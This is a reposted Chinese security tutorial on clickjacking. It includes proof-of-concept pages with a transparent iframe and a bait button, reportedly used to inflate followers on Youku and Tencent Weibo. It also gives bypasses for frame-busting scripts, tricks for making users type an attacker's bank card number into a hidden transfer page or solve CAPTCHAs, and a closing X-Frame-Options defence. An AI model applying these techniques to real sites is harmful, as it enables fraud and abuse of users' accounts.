转载地址:http://www.freebuf.com/articles/web/67843.html
主要是想做下资料记录,其实看过后就知道原理很简单,先感谢下原作者,如果有侵权等行为,请告知,我会立即删除
点击劫持(click jacking)估计搞安全的都对这四个字不陌生,一句话描述这种劫持:利用社工搭配目标站的不安全配置对用户造成危害。这种漏洞目前在国内一直不被重视,但前一阵子Facebook和YouTube纷纷爆出点击劫持导致大问题的漏洞,国外才开始关注此问题,但国内依然不理不睬,看起来很容易的漏洞,但真的可以造成很大的危害,此文目的既在此。
01 聊聊点击劫持
看到上图的你们,是不是都会去选择点击脱衣呢?两年前的我也会这样做,反正不点白不点,点开说不定有DUANG!
但实则不然,这张图后面大到有可能iframe了一个银行转账页面,小则可能是莫名其妙发出了不该发的消息,粉了不认识的人,或是一个广告。
这就是点击劫持,但今天肯定不是单纯介绍点击劫持是什么鬼,各位继续看。
02 实战
点击劫持是挖掘起来门道相对较少的,但不是最少的,因为越权表示不服。
当然肯定要懂一些html和css的前端技巧,这些参考w3school即可。
首先我们要创建一个poc页面,理论上所有点击劫持的Poc都大同小异,我就把我上面辣个点击脱衣的POC发出来吧,实际上那是优酷频道刷粉的POC。
http-equiv="Content-Type" content="text/html; charset=utf-8">
点击劫持 POC
iframe {
width: 1440px;
height: 900px;
position: absolute;
top: -0px;
left: -0px;
z-index: 2;
-moz-opacity: 0;
opacity: 0;
filter: alpha(opacity=0);
}
button {
position: absolute;
top: 230px;
left: 1200px;
z-index: 1;
width: 80px;
height:20px;
}
点击脱衣
src="http://b.hiphotos.baidu.com/image/pic/item/3ac79f3df8dcd1001341dbcd768b4710b8122f78.jpg">
实际上我们普通的点击劫持挖掘过程中真正只有两个部分最主要,按钮(button)&页面(iframe)。
思路即为,找到有用的地方,查到坐标,放置按钮,放置诱惑信息,OK!
1、有用的地方即为想让用户点击的地方,比如转账按钮,删除某博文的按钮,赞按钮等。
2、坐标即为有用的按钮在页面中的位置,这个找起来可能比较麻烦,懂html以及css的则可以直接从目标站源码中找到坐标,不懂的这有两种好方法。win家族系统可以下载屏幕格尺工具量坐标。本人OSX,可以像我一样用便签mark一下目标,然后把iframe隐藏调节button到和便签一致的位置,也很简单。
3、找到坐标写到html里放置按钮。
4、诱惑信息自行想。
这样就构成了,是不是很简单?
当然 有些时候会有两个按钮或多个按钮,就需要自行搭配页面内容诱惑人们一个一个去点击。
附另外一实例:腾讯微博刷粉
http-equiv="Content-Type" content="text/html; charset=utf-8">
点击劫持 POC
iframe { width: 1440px; height: 900px; position: absolute; top: -0px; left: -0px; z-index: 2; -moz-opacity: 0; opacity: 0; filter: alpha(opacity=0); }
button { position: absolute; top: 250px; left: 770px; z-index: 1; width: 80px; height:20px; }
点击脱衣
src="http://b.hiphotos.baidu.com/image/pic/item/3ac79f3df8dcd1001341dbcd768b4710b8122f78.jpg">
03 进阶
点击劫持常见防御方法的绕过:
JS防御
如if (top.location != self.location) {top.location=self.location;}
security="restricted" 为IE的禁止JS
sandbox="" 为HTML5的禁止JS
这样就达到了bypass的效果,但有时候我们想劫持的按钮也是js的 那样就比较蛋疼了,但可以参考下面的方法。
其他方法跳转进行防御
只要是强制跳转到目标站的防御方法,都可以用此方法绕过。
制作双重iframe,即最底层为目标站,二层为透明,这样还是能达到我们想要的效果。
让点击劫持更猥琐的搭配:
搭配输入框
以前曾发现加拿大某银行可以进行点击劫持,但需要用户输入转账的银行卡号和银行,那么我们就可以放几个框,并诱惑用户在框里输入我的银行卡号和银行,这样用户看起来输入到我们的框里,实际上输入到了银行转账的页面当中。
当然,在各种情况下也可以搭配各种其他的东西,这就要发挥你的想象了,点击劫持让钓鱼又上升了一个高度。
有验证码怎么办?
部分网站在点击转账或其他敏感按钮的时候,会有验证码来验证,这对点击劫持也是一个考验,那么我们就可以用我们的东西把页面覆盖起来,但留下验证码图片和输入框一部分不覆盖,通过社工让用户自己识别验证码并输入。
04 对于防御
X-FRAME-OPTIONS是目前最可靠的方法。
X-FRAME-OPTIONS是微软提出的一个http头,专门用来防御利用iframe嵌套的点击劫持攻击。
并且在IE8、Firefox3.6、Chrome4以上的版本均能很好的支持。
这个头有三个值:
DENY // 拒绝任何域加载
SAMEORIGIN // 允许同源域下加载
ALLOW-FROM // 可以定义允许frame加载的页面地址
php中设置:
header("X-FRAME-OPTIONS:DENY");
以上言论参考自点击劫持提出者的个人博文和互联网上资料,如有错误,敬请包涵。